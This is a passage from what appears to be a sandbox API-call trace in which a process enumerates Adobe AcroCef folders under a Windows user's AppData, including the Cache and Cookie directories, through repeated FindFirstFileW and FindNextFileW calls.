nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0141.390] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0141.390] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0141.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0141.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0141.390] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", lpFilePart=0x0) returned 0x2b [0141.390] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.390] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.390] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0141.390] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.391] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0141.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0141.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0141.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", lpFilePart=0x0) returned 0x2e [0141.391] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.392] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.392] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0141.392] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 0 [0141.392] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0141.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0141.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0141.392] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", lpFilePart=0x0) returned 0x2e [0141.392] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.393] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.393] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0141.393] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.393] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0141.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0141.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0141.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", lpFilePart=0x0) returned 0x36 [0141.393] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.394] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.394] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd780dd5d, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0141.395] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookie", cAlternateFileName="")) returned 1 [0141.395] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookie", cAlternateFileName="")) returned 0 [0141.395] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0141.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0141.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0141.395] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", lpFilePart=0x0) returned 0x36 [0141.395] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xd6a51047, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.395] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xd6a51047, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.395] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd780dd5d, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0141.396] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookie", cAlternateFileName="")) returned 1 [0141.396] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.396] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0141.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0141.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0141.396] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpFilePart=0x0) returned 0x3c [0141.396] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7823d0a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.397] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7823d0a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.397] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd781529a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd781529a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd781529a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0", cAlternateFileName="")) returned 1 [0141.397] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78179b2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78179b2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8c1e26a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_1", cAlternateFileName="")) returned 1 [0141.397] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78215d4, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78215d4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd78215d4, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_2", cAlternateFileName="")) returned 1 [0141.397] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7823d0a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd7823d0a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7823d0a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_3", cAlternateFileName="")) returned 1 [0141.398] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd780dd5d, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7812b7f, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 1 [0141.398] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.398] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0141.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0141.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0141.398] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpFilePart=0x0) returned 0x3c [0141.398] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7823d0a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.398] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7823d0a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.398] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd781529a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd781529a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd781529a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0", cAlternateFileName="")) returned 1 [0141.399] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78179b2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78179b2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8c1e26a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_1", cAlternateFileName="")) returned 1 [0141.399] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78215d4, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78215d4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd78215d4, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_2", cAlternateFileName="")) returned 1 [0141.400] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7823d0a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd7823d0a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7823d0a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_3", cAlternateFileName="")) returned 1 [0141.400] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd780dd5d, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7812b7f, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", 